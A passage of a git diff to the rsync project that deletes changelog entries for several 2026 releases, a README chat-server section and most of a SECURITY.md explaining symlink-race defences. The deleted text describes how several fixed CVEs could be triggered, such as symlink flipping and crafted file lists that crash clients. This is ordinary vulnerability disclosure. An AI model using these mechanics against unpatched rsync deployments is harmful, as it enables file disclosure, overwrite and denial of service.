macOS, Solaris, which lack `bindat()`), a nested socket transferred\n-  under `--specials` is skipped with a warning instead of failing the whole\n-  transfer.  Top-level sockets are unaffected.\n-\n-- `proxy protocol = true` with no `proxy protocol hosts` rejects all connections\n-  (fail-closed); the daemon now warns about this at startup.\n-\n-- `support/rrsync` in a restricted subdirectory forces `--no-D` (device/special\n-  semantics are stripped, so a plain `rsync -a` still works) and denies\n-  `--copy-unsafe-links`.\n-\n-- The path resolver now follows in-tree directory symlinks uniformly on every\n-  platform via a single race-free per-component `O_NOFOLLOW` walk, so `-K` /\n-  `-L` / `-k` and `-R` through an in-tree symlinked parent behave the same\n-  everywhere.\n-\n-# NEWS for rsync 3.4.4 (8 Jun 2026)\n-\n-## Changes in this version:\n-\n-This is a conservative point release that backports regression fixes\n-on top of 3.4.3.  No new features are included.\n-\n-### BUG FIXES:\n-\n-- Honour a relative alt-basis directory (e.g. `--link-dest=../sibling`,\n-  `--copy-dest`, `--compare-dest`) on a daemon receiver running with\n-  `use chroot = no`.  Such a path is re-anchored at the module root but\n-  was then rejected by the receiver's secure open; it now works where\n-  kernel-enforced confinement is available.  See the PORTABILITY note\n-  below for the platform limitation.  Fixes #915.\n-\n-- sender: open a module-root-absolute path for a `path = /` module so a\n-  daemon serving the filesystem root can satisfy absolute request\n-  paths again.  Fixes #897.\n-\n-- flist: accept the missing-args mode-0 entry in recv_file_entry.\n-  Fixes #910.\n-\n-- receiver: fix a false \"failed verification -- update discarded\" when\n-  resuming a delta transfer with an absolute `--partial-dir`.\n-\n-- receiver: fix a NULL dereference on the delta discard path.\n-\n-- generator: cap the block s2length at the negotiated checksum length.\n-\n-- main: fix `--mkpath` with `--dry-run` for a file-to-file copy.\n-  Fixes #880.\n-\n-- daemon: un-backslash escaped option args.  Fixes #829.\n-\n-- token: drain the matched-block insert deflate.  Fixes #951.\n-\n-- Fix the \"update skips a file of a different type\" case and the\n-  daemon upload delete stats.\n-\n-- alloc: revert \"zero all new memory from allocations\".  Fixes #959.\n-\n-- Always clear the stat buffer and validate nanoseconds before use.\n-\n-### PORTABILITY / BUILD:\n-\n-- The relative alt-basis fix for daemon receivers (#915) relies on\n-  kernel \"stay below dirfd\" path resolution -- `openat2(RESOLVE_BENEATH)`\n-  on Linux 5.6+, or `openat()` with `O_RESOLVE_BENEATH` on FreeBSD 13+\n-  and macOS 15+.  On platforms that lack it (Solaris, OpenBSD, NetBSD,\n-  Cygwin and older Linux) `secure_relative_open()` deliberately rejects\n-  any path with a `..` component, so relative alt-basis directories\n-  remain unavailable there -- function traded for safety, matching the\n-  trade-off already documented for the #715 fix.  Absolute alt-basis\n-  paths are unaffected on every platform.\n-\n-- openat2 is now autodetected at configure time (HAVE_OPENAT2): the\n-  `openat2(RESOLVE_BENEATH)` resolver is compiled in only when both\n-  `<linux/openat2.h>` and the `SYS_openat2` syscall number are present,\n-  fixing the build on older kernels/headers.  Fixes #924, #905, #900,\n-  #904.\n-\n-- Fall back to do_mknod() when mknodat() / mkfifoat() are unavailable.\n-  Fixes #896.\n-\n-- Install generated manpages correctly in an out-of-tree build.\n-\n-### DEVELOPER RELATED:\n-\n-- Added a CI workflow that builds this stable branch and runs the\n-  `v34-stable-testsuite` regression suite against the built binary,\n-  giving regression coverage without importing the full master test\n-  suite into the stable branch.\n-\n-- Added a check-progs target for fleettest and extended the build\n-  workflows to run on `*-stable` release branches.\n-\n-### CREDITS:\n-\n-Thanks to everyone who helped with this release:\n-\n-- Code contributions from Zen Dodd (steadytao), Mike-Goutokuji,\n-  pterror, and Stiliyan Tonev (Bark).\n-\n-- Zen Dodd (steadytao) also reviewed the 3.4.4 backport set (PR #980).\n-\n-- Bug reports from @mmayer (#924), @fda77 (#905), @darkshram (#900),\n-  @ketas (#904), @pkzc (#880), @brabalan (#951), @elcamlost (#829),\n-  @debohman (#896), @guilherme-puida (#959), @fufu65 (#915),\n-  @JetAppsClark (#928), @moonlitbugs (#897), @mgkeeley (#910), and\n-  @sylvain-ilm (#724, #725).\n-\n-# NEWS for rsync 3.4.3 (20 May 2026)\n-\n-## Changes in this version:\n-\n-### SECURITY FIXES:\n-\n-Six CVEs are fixed in this release.  All six are assigned by\n-VulnCheck as CNA.  Affected versions are 3.4.2 and earlier in every\n-case.  Three of the six (CVE-2026-29518, CVE-2026-43617,\n-CVE-2026-43619) require non-default daemon configuration to reach:\n-the first and third need `use chroot = no` for a module, the second\n-needs `daemon chroot = ...` set in rsyncd.conf.  Two (CVE-2026-43618,\n-CVE-2026-43620) are reachable from a normal pull or a normal\n-authenticated daemon connection.  The sixth (CVE-2026-45232) is\n-reachable only when `RSYNC_PROXY` is set and the proxy (or a MITM)\n-returns a pathological response.  Many thanks to the external\n-researchers who reported these issues.\n-\n-- CVE-2026-29518 (CVSS v4.0 7.3, HIGH): TOCTOU symlink race condition\n-  allowing local privilege escalation in daemon mode without chroot.\n-  An rsync daemon configured with \"use chroot = no\" was exposed to a\n-  time-of-check / time-of-use race on parent path components: a local\n-  attacker with write access to a module could replace a parent\n-  directory component with a symlink between the receiver's check and\n-  its open(), redirecting reads (basis-file disclosure) and writes\n-  (file overwrite) outside the module.  Default \"use chroot = yes\" is\n-  not exposed.  `secure_relative_open()` (added in 3.4.0 for\n-  CVE-2024-12086) was previously unused in the daemon-no-chroot\n-  case; the fix enables it there and reroutes the sender's\n-  read-path opens through it.  Reported by Nullx3D (Batuhan Sancak),\n-  Damien Neil and Michael Stapelberg.\n-\n-- CVE-2026-43617 (CVSS v3.1 4.8, MEDIUM): Hostname/ACL bypass on an\n-  rsync daemon configured with `daemon chroot = /X` in rsyncd.conf\n-  when the chroot tree lacks DNS resolution support.  The\n-  reverse-DNS lookup of the connecting client was performed *after*\n-  the daemon chroot had been entered; if /X did not contain the\n-  libc resolver fixtures (`/etc/resolv.conf`, `/etc/nsswitch.conf`,\n-  `/etc/hosts`, NSS service modules) the lookup failed and the\n-  connecting hostname was set to \"UNKNOWN\", causing hostname-based\n-  deny rules to silently fail open.  IP-based ACLs are unaffected.\n-  The per-module `use chroot` setting is unrelated to this issue.\n-  The fix performs the lookup before entering the daemon chroot.\n-  Reported by MegaManSec.\n-\n-- CVE-2026-43618 (CVSS v3.1 8.1, HIGH): Integer overflow in the\n-  compressed-token decoder enabling remote memory disclosure to an\n-  authenticated daemon peer.  The receiver accumulated a 32-bit\n-  signed counter without overflow checking; a malicious sender could\n-  trigger an overflow that, with careful manipulation, leaked process\n-  memory contents to the attacker -- environment variables,\n-  passwords, heap and library pointers -- significantly weakening\n-  ASLR.  The fix bounds the counter and adds wire-input validation in\n-  several adjacent places (defence-in-depth).  Workaround for older\n-  releases: `refuse options = compress` in rsyncd.conf.  Reported by\n-  Omar Elsayed.\n-\n-- CVE-2026-43619 (CVSS v3.1 6.3, MEDIUM): Symlink races on path-based\n-  system calls in \"use chroot = no\" daemon mode (generalisation of\n-  CVE-2026-29518).  Earlier fixes for symlink races on the receiver's\n-  open() call missed the same race class on every other path-based\n-  system call: chmod, lchown, utimes, rename, unlink, mkdir, symlink,\n-  mknod, link, rmdir and lstat.  The fix routes each affected\n-  path-based syscall through a parent dirfd opened under\n-  RESOLVE_BENEATH-equivalent kernel-enforced confinement (openat2 on\n-  Linux 5.6+, O_RESOLVE_BENEATH on FreeBSD 13+ and macOS 15+,\n-  per-component O_NOFOLLOW walk elsewhere).  Default \"use chroot =\n-  yes\" is not exposed.  Reported by Andrew Tridgell as a follow-on\n-  audit of CVE-2026-29518.\n-\n-- CVE-2026-43620 (CVSS v3.1 6.5, MEDIUM): Out-of-bounds read in the\n-  receiver's recv_files() enabling remote denial-of-service of any\n-  client pulling from a malicious server (incomplete fix of commit\n-  797e17f).  The earlier parent_ndx<0 guard added to send_files() was\n-  not applied to the visually-identical block in recv_files().  A\n-  malicious rsync server can drive any connecting client into a\n-  deterministic SIGSEGV by setting CF_INC_RECURSE in the\n-  compatibility flags and sending a crafted file list and transfer\n-  record.  inc_recurse is the protocol-30+ default, so no special\n-  options are required on the victim.  Workaround for older\n-  releases: `--no-inc-recursive` on the client.  Reported by Pratham\n-  Gupta.\n-\n-- CVE-2026-45232 (CVSS v3.1 3.1, LOW): Off-by-one out-of-bounds stack\n-  write in the rsync client's HTTP CONNECT proxy handler\n-  (`establish_proxy_connection()` in `socket.c`).  After issuing the\n-  CONNECT request, rsync read the proxy's first response line one\n-  byte at a time into a 1024-byte stack buffer with the bound\n-  `cp < &buffer[sizeof buffer - 1]`.  If the proxy (or a MITM in\n-  front of it) returned 1023+ bytes on that first line without a\n-  newline terminator, `cp` exited the loop pointing at a buffer slot\n-  the loop never wrote, leaving `*cp` holding stale stack data from\n-  the earlier `snprintf()` of the outgoing CONNECT request.  The\n-  post-loop logic then wrote a single `\\0` one byte past the end of\n-  the buffer on the stack.  Reach is client-side only, and only when\n-  `RSYNC_PROXY` is set so rsync tunnels an `rsync://` connection\n-  through an HTTP CONNECT proxy.  The written byte is always `\\0`\n-  and the offset is fixed by the buffer size, not attacker-chosen,\n-  so this is not an arbitrary-write primitive: practical impact is\n-  corruption of one adjacent stack byte and possible later\n-  misbehaviour or crash.  The fix detects the \"buffer filled without\n-  finding `\\n`\" case explicitly by position and refuses the response\n-  with \"proxy response line too long\".  Reported by Aisle Research\n-  via Michal Ruprich (rsync-3.4.1-2.el10 QE).\n-\n-In addition to the six CVE fixes, this release adds defence-in-depth\n-hardening on several adjacent paths: bounded wire-supplied counts and\n-lengths in flist/io/acls/xattrs, a guard against length underflow in\n-cumulative `snprintf()` callers, a parent block-index bounds check on\n-the receiver, a NULL check in `read_delay_line()`, a lower ceiling on\n-`MAX_WIRE_DEL_STAT` to avoid signed-int overflow in the\n-`read_del_stats()` accumulator, rejection of hyphen-prefixed\n-remote-shell hostnames (defence-in-depth against argv-injection in\n-tooling that forwards untrusted input into the hostspec position;\n-reported by Aisle Research via Michal Ruprich), and a NULL-check on\n-`localtime_r()` in `timestring()` to keep a malicious server from\n-crashing the client by advertising a file with an out-of-range\n-modtime.\n-\n-### BUG FIXES:\n-\n-- Fixed a bypass of `--safe-links` when `--backup` is also used on a system that supports hard-linking symlinks (Linux, macOS).  An escaping symlink that should have been skipped was silently preserved in the backup area.\n-\n-- Fixed a spurious abort when using `-C` (cvs-exclude) mode with a `.cvsignore` file that contained a `!` (clear-list) token.\n-\n-- Updated the `--max-alloc` documentation to reflect that 0 is now rejected (CVE-2026-53794).\n-\n-- Fixed the EXIT VALUES table: removed nonexistent code 6, added missing codes 15/16/19, corrected SIGUSR1 classification.\n-\n-- Fixed a regression introduced by the 3.4.0 secure_relative_open()\n-  CVE fix where legitimate directory symlinks on the receiver side\n-  (e.g. when using `-K` / `--copy-dirlinks`) caused \"failed\n-  verification -- update discarded\" errors on delta transfers. The\n-  old code rejected every symlink in the path with a per-component\n-  `O_NOFOLLOW` walk; the receiver now uses kernel-enforced \"stay\n-  below dirfd\" path resolution where available. Fixes #715.\n-\n-### PORTABILITY / BUILD:\n-\n-- secure_relative_open() now uses `openat2(RESOLVE_BENEATH |\n-  RESOLVE_NO_MAGICLINKS)` on Linux 5.6+, and `openat()` with\n-  `O_RESOLVE_BENEATH` on FreeBSD 13+ and macOS 15+ (Sequoia) /\n-  iOS 18+. The kernel rejects \"..\" escapes, absolute symlinks, and\n-  symlinks whose target lies outside the starting directory, while\n-  still following symlinks that resolve within it -- the same\n-  trade-off that fixes the issue #715 regression without weakening\n-  the original CVE protection. Other platforms (Solaris, OpenBSD,\n-  NetBSD, Cygwin) retain the previous per-component `O_NOFOLLOW`\n-  walk; on those platforms the issue #715 regression remains\n-  visible.\n-\n-- testsuite/xattrs: ignore `SUNWattr_*` in the Solaris `xls`\n-  helper.\n-\n-### DEVELOPER RELATED:\n-\n-- Added testsuite/symlink-dirlink-basis.test (taken from PR #864\n-  by Samuel Henrique) covering the issue #715 regression and\n-  several edge cases (`--backup`, `--inplace`, `--partial-dir`\n-  with protocol < 29, top-level files). The test skips on\n-  platforms without a RESOLVE_BENEATH equivalent.\n-\n-- Added regression tests for the new security fixes:\n-  `chmod-symlink-race.test`, `chdir-symlink-race.test`,\n-  `bare-do-open-symlink-race.test`, `alt-dest-symlink-race.test`,\n-  `copy-dest-source-symlink.test`, `sender-flist-symlink-leak.test`,\n-  `secure-relpath-validation.test`, `daemon-chroot-acl.test` and\n-  `daemon-refuse-compress.test`. The symlink-race tests skip on\n-  Cygwin, Solaris, OpenBSD and NetBSD (no RESOLVE_BENEATH\n-  equivalent on those platforms).\n-\n-- runtests.py now errors early with a clear message when any of\n-  the test helper programs (`tls`, `trimslash`, `t_unsafe`,\n-  `t_chmod_secure`, `t_secure_relpath`, `wildtest`, `getgroups`,\n-  `getfsdev`) are missing, instead of letting many tests fail with\n-  confusing \"not found\" errors.\n-\n-- Added OpenBSD and NetBSD CI jobs that run `make check` on those\n-  platforms.\n-\n-- Added Ubuntu 22.04 and AlmaLinux 8 CI workflows so future\n-  backports to the two mainstream LTS families build and test on\n-  the same CI surface as trunk.\n-\n-- testsuite/protected-regular.test now runs unprivileged via\n-  `unshare` with user-namespace UID mapping, falling back to skip\n-  if `unshare`/`uidmap` is not available; previously it required\n-  real root.\n-\n-- Added `symlink-dirlink-basis` to the Cygwin CI's expected-skipped\n-  list.\n-\n-- Removed the old release system (replaced by the new release\n-  script in 3.4.2).\n-\n-------------------------------------------------------------------------------\n-\n-# NEWS for rsync 3.4.2 (28 Apr 2026)\n-\n-## Changes in this version:\n-\n-### SECURITY RELATED:\n-\n-Several security-relevant defects were reported and fixed since 3.4.1.\n-None were assigned a CVE — rsync's fork-per-connection design scopes\n-the impact of each of these to the attacker's own connection, which is\n-equivalent to the client closing the socket itself — but they are\n-fixed here as a matter of hygiene and to reduce the chances of a\n-future exploitable combination.  Many thanks to the external\n-researchers who reported these issues.\n-\n-- Fixed a signed integer overflow in the PROXY protocol v2 header\n-  parser: a negative `len` field could bypass the size check and cause\n-  a stack buffer overflow in `read_buf()`.  Reported by John Walker of\n-  ZeroPath.\n-\n-- Fixed an invalid access to the files array.  Reported by Calum\n-  Hutton of Rapid7.\n-\n-- Reject negative token values in the compressed-stream token\n-  decoder; a negative value could cause callers to misinterpret a\n-  missing data pointer as literal data.  Reported by Will Sergeant.\n-\n-- Fixed the element count passed to the xattr `qsort()` (see\n-  https://www.openwall.com/lists/oss-security/2026/04/16/2).\n-\n-- Fixed a buffer underflow in `clean_fname()`, and added a regression\n-  test.\n-\n-- Fixed an uninitialized `mul_one` in the AVX2 get_checksum1 path\n-  (undefined behaviour), and added a SIMD-checksum self-test that\n-  cross-checks SSE2, SSSE3 and AVX2 against the C reference on both\n-  aligned and unaligned buffers.\n-\n-- Fixed an uninitialized `buf1` on the first call to\n-  `get_checksum2()` in the MD4 path (fixes #673).\n-\n-- Zero all new memory from internal allocations: `my_alloc()` now uses\n-  `calloc`, and `expand_item_list()` zeros the expanded portion after\n-  `realloc`.  This gives more predictable behaviour if stale or\n-  uninitialised memory is ever accidentally read.\n-\n-### BUG FIXES:\n-\n-- Call `tzset()` before chroot so that log timestamps continue to\n-  reflect the configured local timezone after the daemon chroots\n-  (glibc needs `/etc/localtime`, which is unreachable post-chroot).\n-\n-- Use the correct time when writing to the log file.\n-\n-- Do not clear `DISPLAY` unconditionally.\n-\n-- Fixed a Y2038 bug in `syscall.c` by replacing the `Int32x32To64`\n-  macro (which truncates its arguments to 32 bits) with a plain\n-  64-bit multiplication.\n-\n-- Fixed ACL ID mapping for non-root users (closes #618).\n-\n-- Fixed handling of objects with many xattrs on FreeBSD.\n-\n-- Fixed `--open-noatime` not taking effect when opening regular\n-  files: `O_NOATIME` is now also passed to `do_open_nofollow()`, which\n-  has been used for regular files since the CVE fix \"fixed symlink\n-  race condition in sender\".\n-\n-- Ignore \"directory has vanished\" errors.\n-\n-- Fixed the removal of multiple leading slashes.\n-\n-- Added the missing `--dirs` long option.\n-\n-- Fixed a segfault if `poptGetContext()` returns NULL (e.g. under\n-  OOM) by not passing NULL to `poptReadDefaultConfig()`.  Reported by\n-  Ronnie Sahlberg; found with `malloc-fail-tester`.\n-\n-- Fixed a build error on ia64 NonStop (which treats missing\n-  prototypes as an error, not a warning).\n-\n-- Fixed a flaky hardlinks test (fixes #735).\n-\n-### ENHANCEMENTS:\n-\n-- Added multi-threaded `zstd` compression, gated by a new\n-  `--compress-threads=N` option, with validation and man-page\n-  coverage.\n-\n-- Documented the `temp dir` parameter in the rsyncd.conf man page\n-  (fixes #820).\n-\n-- Improved rendering of interior dashes in long-option names in\n-  `md-convert` (perhaps fixes #686).\n-\n-### PORTABILITY / BUILD:\n-\n-- Fixed glibc 2.43 const-preserving overloads of `strtok()`,\n-  `strchr()` etc. by declaring the affected locals with the right\n-  constness.  Contributed by Holger Hoffstätte.\n-\n-- Converted the bundled zlib 1.2.8 from K&R-style function\n-  definitions to ANSI prototypes, so it builds with clang 16+.\n-\n-- Avoid using `bool` as an identifier; it is a keyword in C23.\n-\n-- `configure.ac`: check for xattr functions in libc first and only\n-  fall back to `-lattr`, avoiding spurious overlinking when `-lattr`\n-  happens to be installed.  Contributed by Eli Schwartz.\n-\n-- Made the build reproducible by honouring `SOURCE_DATE_EPOCH` for\n-  the manpage date.\n-\n-- Removed obsolete `popt/findme.c` and `popt/findme.h` that upstream\n-  popt 1.14 folded into `popt.c` (fixes #710).  Contributed by Alan\n-  Coopersmith.\n-\n-### INTERNAL:\n-\n-- Made many module-global variables `const` so they can live in\n-  `.rodata` and enable additional compiler optimization.\n-\n-### DEVELOPER RELATED:\n-\n-- Replaced `runtests.sh` with `runtests.py`, a Python test runner\n-  that supports `--valgrind` (with per-process log files so valgrind\n-  output no longer interferes with output comparisons) and\n-  `-j/--parallel` execution for roughly a 7× speed-up on typical\n-  hardware.\n-\n-- Added a SIMD checksum self-test and a `clean-fname-underflow`\n-  regression test.\n-\n-- Various CI fixes for macOS and Cygwin (including adding\n-  `simd-checksum` to the expected-skipped lists on platforms without\n-  SIMD), and tests now run on `ubuntu-latest`.\n-\n-- removed support for the unmaintained rsync-patches archive\n-\n-------------------------------------------------------------------------------\n-\n # NEWS for rsync 3.4.1 (16 Jan 2025)\n \n Release 3.4.1 is a fix for regressions introduced in 3.4.0\n@@ -1017,7 +19,6 @@ Release 3.4.1 is a fix for regressions introduced in 3.4.0\n  - fix to permissions handling in the developer release script\n \n ------------------------------------------------------------------------------\n-\n # NEWS for rsync 3.4.0 (15 Jan 2025)\n \n Release 3.4.0 is a security release that fixes a number of important vulnerabilities.\n@@ -1042,7 +43,7 @@ to develop and test fixes.\n - CVE-2024-12084 - Heap Buffer Overflow in Checksum Parsing.\n \n - CVE-2024-12085 - Info Leak via uninitialized Stack contents defeats ASLR.\n-\n+  \n - CVE-2024-12086 - Server leaks arbitrary client files.\n \n - CVE-2024-12087 - Server can make client write files outside of destination directory using symbolic links.\n@@ -1072,7 +73,6 @@ to develop and test fixes.\n - added FreeBSD and Solaris CI builds\n \n ------------------------------------------------------------------------------\n-\n # NEWS for rsync 3.3.0 (6 Apr 2024)\n \n ## Changes in this version:\n@@ -5837,14 +4837,8 @@ to develop and test fixes.\n \n | RELEASE DATE | VER.   | DATE OF COMMIT\\* | PROTOCOL    |\n |--------------|--------|------------------|-------------|\n-| 04 Nov 2026  | 3.5.2  |                  | 33          |\n-| 21 Sep 2026  | 3.5.1  | 21 Sep 2026      | 33          |\n-| 13 Aug 2026  | 3.5.0  |                  | 32          |\n-| 08 Jun 2026  | 3.4.4  |                  | 32          |\n-| 20 May 2026  | 3.4.3  |                  | 32          |\n-| 28 Apr 2026  | 3.4.2  |                  | 32          |\n | 16 Jan 2025  | 3.4.1  |                  | 32          |\n-| 15 Jan 2025  | 3.4.0  | 15 Jan 2025      | 32          |\n+| 15 Jan 2025  | 3.4.0  |                  | 32          |\n | 06 Apr 2024  | 3.3.0  |                  | 31          |\n | 20 Oct 2022  | 3.2.7  |                  | 31          |\n | 09 Sep 2022  | 3.2.6  |                  | 31          |\ndiff --git a/README.md b/README.md\nindex 6abb336..eb40059 100644\n--- a/README.md\n+++ b/README.md\n@@ -93,15 +93,6 @@ details.\n [3]: https://rsync.samba.org/lists.html\n \n \n-DISCORD\n--------\n-\n-There is also an rsync [Discord server][d] for real-time chat about rsync\n-and its development.\n-\n-[d]: https://discord.gg/Avfvy9zhdp\n-\n-\n BUG REPORTS\n -----------\n \n@@ -145,8 +136,6 @@ COPYRIGHT\n Rsync was originally written by Andrew Tridgell and Paul Mackerras.  Many\n people from around the world have helped to maintain and improve it.\n \n-Special thanks go to Wayne Davison, who maintained rsync from 2004 to 2024.\n-\n Rsync may be used, modified and redistributed only under the terms of\n the GNU General Public License, found in the file [COPYING][9] in this\n distribution, or at [the Free Software Foundation][10].\ndiff --git a/SECURITY.md b/SECURITY.md\nindex fa5af4b..f390ff9 100644\n--- a/SECURITY.md\n+++ b/SECURITY.md\n@@ -11,546 +11,3 @@ Email your vulnerability information to rsync's maintainer:\n \n   Rsync Project <rsync.project@gmail.com>\n \n-\n-## Approach to platform residuals\n-\n-rsync hardens its security-sensitive operations — path resolution, metadata\n-application, file/socket creation — against local attacks such as parent-symlink\n-TOCTOU races. Some of these operations can only be made race-safe with a\n-primitive the underlying OS provides (an `*at()` syscall on a held directory fd,\n-an fdescfs-style `/proc/self/fd` magic symlink, `mknodat()`, the `*xattrat`\n-syscalls, and so on), and that primitive is not available on every supported\n-platform.\n-\n-The guiding rule for those cases is:\n-\n-> **On a modern Linux system every issue described in this document is fully\n-> addressed.** Where an operation *can* be secured on some platforms but *cannot*\n-> be secured on others, and the residual risk is a *local* privilege-escalation\n-> or data-disclosure class (an attacker who already has write access inside the\n-> transferred tree), rsync prefers keeping the operation functional on the\n-> platforms that lack the primitive over disabling a long-standing feature for\n-> everyone on those platforms.\n-\n-So a hardened operation takes the race-safe path wherever the platform offers one\n-and falls back to the historical (path-based, unconfined) behaviour only where it\n-does not — rather than refusing the operation outright. Each such fallback is an\n-accepted residual, documented under \"Known residuals\" below, and on the daemon it\n-can be turned off per feature with `refuse options = ...`. The residuals are\n-therefore confined to non-Linux platforms (the BSDs, macOS, Solaris/illumos),\n-Cygwin, and — for a few features — pre-6.13 Linux kernels; a current, normally\n-configured Linux deployment carries none of them. (The `/proc/self/fd`-based\n-fallbacks assume a mounted `/proc`, which every standard Linux provides; a\n-deliberately `/proc`-less container is the one Linux case that can still hit a\n-residual.)\n-\n-The one deliberate exception is an operation whose unconfined fallback would\n-*create a new filesystem object at an attacker-influenceable path* rather than set\n-metadata on the object rsync already transferred: the nested-socket `bind()` on\n-platforms without a race-safe socket-create (no `bindat()`). There the unsafe path\n-is an out-of-tree write/create primitive, not a same-object metadata race, and a\n-transferred socket inode is a worthless placeholder, so rsync refuses (skips) it\n-rather than keeping it functional. A leaf permission change is likewise failed\n-closed rather than applied through a raced symlink, but only as a rare backstop:\n-the common file/dir/FIFO case is secured on every platform via `fchmod` on a held\n-fd, so no real functionality is lost.\n-\n-This trade-off applies only to these local-attacker residual classes. Remotely\n-reachable defects — memory safety, authentication bypass, protocol parsing, input\n-bounds — are fixed unconditionally on all platforms, never left as a residual.\n-\n-\n-## Robustness against malicious peers\n-\n-rsync treats everything the peer sends — the file list, checksum headers,\n-multiplexed messages, forwarded daemon arguments, filter rules — as untrusted,\n-and bounds-checks it before use. A peer-triggerable crash of a connection's\n-worker process is treated as a defect to be fixed, even though the daemon's\n-fork-per-connection model confines such a fault to that one connection rather\n-than the whole service.\n-\n-Alongside the issues enumerated elsewhere in this document, the code is hardened\n-continuously through protocol fuzzing (driving the daemon protocol against a\n-writable module) and static analysis, with a CI gate. This release closes a\n-batch of peer-triggerable faults found that way: NULL-dereference and\n-reachable-assert crashes from crafted file lists or indices, reads past a\n-file-list allocation (mostly bounded over-reads of an entry's extra slots),\n-unbounded merge-file and suffix-list recursion, and several bounded\n-out-of-bounds writes driven by peer-supplied lengths or option arguments. Each\n-is fixed at the root with a bounds or validity check plus a defence-in-depth\n-guard at the use site, and carries a regression test.\n-\n-Two further peer-input hardenings in this release: a peer-supplied I/O-error\n-value (the `MSG_IO_ERROR` message and the file-list trailer) is masked to the\n-defined `IOERR_*` bits, so a peer cannot set arbitrary error flags in the local\n-`io_error` that would be stored and re-forwarded upstream; and control\n-characters in a (peer-controlled) filename written to the log file are escaped,\n-so a name carrying C0/C1 terminal-escape bytes cannot inject sequences into an\n-administrator's terminal when the log is viewed (CWE-117). The number of\n-equal-weak-checksum blocks `hash_search()` examines per offset is also bounded\n-(CVE-2026-70453, issue #217), and consecutive weak-checksum collisions cannot\n-force a full strong-checksum calculation at every byte offset\n-(CVE-2026-119741). These bounds prevent a crafted checksum set from pinning a\n-sender process in `hash_search()`\n-\n-Contributors adding code that consumes peer input should validate it at the\n-point of receipt rather than relying on a downstream check.\n-\n-\n-## Symlink-race-safe path resolution\n-\n-This section documents how rsync defends against parent-directory symlink races\n-(a TOCTOU / confused-deputy class) and the per-platform approach it takes, so\n-that contributors and automated agents extend the code consistently rather than\n-reintroducing the weakness.\n-\n-### The threat\n-\n-Many rsync operations resolve pathnames that an unprivileged party can partially\n-control: a receiver writing into a destination tree, a sender reading a source\n-tree, and temp and partial files, and so on. (The operator-chosen directory\n-paths — `--link-dest`/`--compare-dest`/`--copy-dest`/`--backup-dir`/`--temp-dir`/\n-`--partial-dir` — may legitimately point outside the tree, so they are resolved\n-by the ownership walk described under *Symlink defense for operator-supplied\n-paths* below rather than the strict transfer-path resolver here.) If someone who\n-can write inside that tree races a\n-parent directory component between a real directory and a symlink (\"symlink\n-flipping\"), a path-based syscall — `open`, `stat`, `chmod`, `chown`, `utimes`,\n-`rename`, `unlink`, `mkdir`, `mknod`, `symlink`, hard-link creation — can be\n-redirected to a target *outside* the intended tree. When rsync resolves that\n-path with more authority than the component's controller and without a\n-confinement boundary, this is a confused-deputy bug (e.g. a root nightly backup\n-capturing `/etc/shadow`, or a root receiver chmod/chown/unlink-ing a system\n-file).\n-\n-`O_NOFOLLOW` on the final component is **not** sufficient: the *parent*\n-components must be resolved safely.\n-\n-The boundary that matters is **authority plus confinement**, not \"daemon vs\n-non-daemon\". A non-chroot daemon module, a root-run local transfer, and a\n-two-user transfer are all unconfined privileged path resolvers. Where a real\n-confinement boundary already exists (e.g. a per-module `chroot`) that is the\n-strongest protection; otherwise rsync must resolve paths defensively.\n-\n-A `chroot` is only a boundary for the *outer* path it confines. A daemon module\n-written as `path = /outer/./inner` (`use chroot = yes`) chroots to `/outer` but\n-treats `/inner` as the module root, so a symlink inside the module that points to\n-a sibling of `/inner` is still inside the chroot yet outside the module — the\n-inner module therefore needs the same defensive resolution as a non-chroot\n-module. The single gate that decides when hardened resolution applies is\n-\"unconfined privileged resolver\": `am_daemon && (!am_chrooted || module_dirlen)`\n-for the daemon (any non-chroot module, plus a `/./` inner-module chroot), and any\n-non-chroot receiver. The local sender's content open is confined the same way for\n-default symlink handling; only the symlink-following modes (`-L`/`--copy-links`/\n-`--copy-unsafe-links`/`-k`) and `--insecure-links` are excluded, so those keep\n-following symlinks by design.\n-\n-### The mechanism\n-\n-Resolution of attacker-influenceable paths goes through `secure_relative_open()`,\n-`secure_relative_dirfd()`, and the `do_*_at()` wrappers in `syscall.c`, never a\n-raw `open()`/`rename()`/`chmod()` on a full path string. The principle is:\n-**trust the operator-named transfer root, and confine all resolution beneath\n-it**, rejecting escapes via `..` above the anchor, absolute symlinks, or\n-out-of-tree symlinks. `secure_relative_open()` opens the resolved endpoint with\n-the caller's requested access. `secure_relative_dirfd()` instead returns\n-traversal authority for `fchdir()` or an at-style operation on a known child;\n-it does not imply permission to enumerate the directory.\n-\n-For per-entry work the receiver and generator go one step further and hold the\n-parent directory open: `open_dir_secure()` resolves an entry's directory once\n-as traversal authority, `held_dfd_for()` caches that descriptor for the\n-duration of the entry, and every operation on the entry — `lstat`, the\n-temp-file `mkstemp`, the temp->final `rename`, `chmod`/`chown`/`utimes`,\n-`mkdir`, special-file and symlink creation, the delta-basis open, and the\n-recursive delete — runs through that one held fd via an `*at()` call\n-(`do_*_atfd()`). Because the descriptor is pinned to the directory inode, a\n-parent component flipped to a symlink *after* the open cannot redirect any of\n-those operations. The alternate-destination lookups are confined the same way\n-(`basis_link_stat()` in `generator.c` and `secure_basis_open()` in\n-`receiver.c`), so a peer-chosen `--link-dest`/`--compare-dest`/`--copy-dest`\n-basis index cannot reach an out-of-module file through a symlinked parent.\n-\n-The sender's source-directory *enumeration* is confined the same way as its\n-content open. `send_directory()` opens each scanned directory through\n-`secure_opendir()` — which resolves it via `secure_relative_open()` /\n-`secure_relative_open_at()` and turns the held fd into the `DIR*` with\n-`fdopendir()` — so a parent component raced into a symlink, or (for a daemon\n-following mode) an in-module symlink pointing outside the module, cannot redirect\n-the scan to enumerate an out-of-tree directory and leak its entry names, metadata\n-and symlink targets. For a daemon, both the enumeration and the content open\n-anchor at the served module root **pinned by identity**: `module_dirfd` is opened\n-(`open(\".\")`) the moment the daemon `chdir`s into the module, while still\n-privileged, and module-relative paths resolve beneath that fd via\n-`secure_relative_open_at()`. Anchoring at the held fd rather than re-resolving the\n-absolute module path keeps the confinement working after the daemon drops to the\n-module uid even when the module sits under a directory that uid cannot traverse\n-(e.g. a `0700` home — re-resolving the absolute path would `EACCES`), and is\n-immune to the logical-path-versus-real-cwd skew a followed in-tree directory\n-symlink would otherwise introduce.\n-\n-When a sender receives a `--files-from` list in the default symlink mode, the\n-source base remains the operator's choice but each path selected by the list is\n-checked with the ownership walk. A trusted ancestor symlink may still be\n-followed; with `--confine-root` its resolved target must also remain under that\n-root. The final content open remains `O_NOFOLLOW`, so a list entry cannot turn a\n-leaf symlink into a file read.\n-\n-### Path 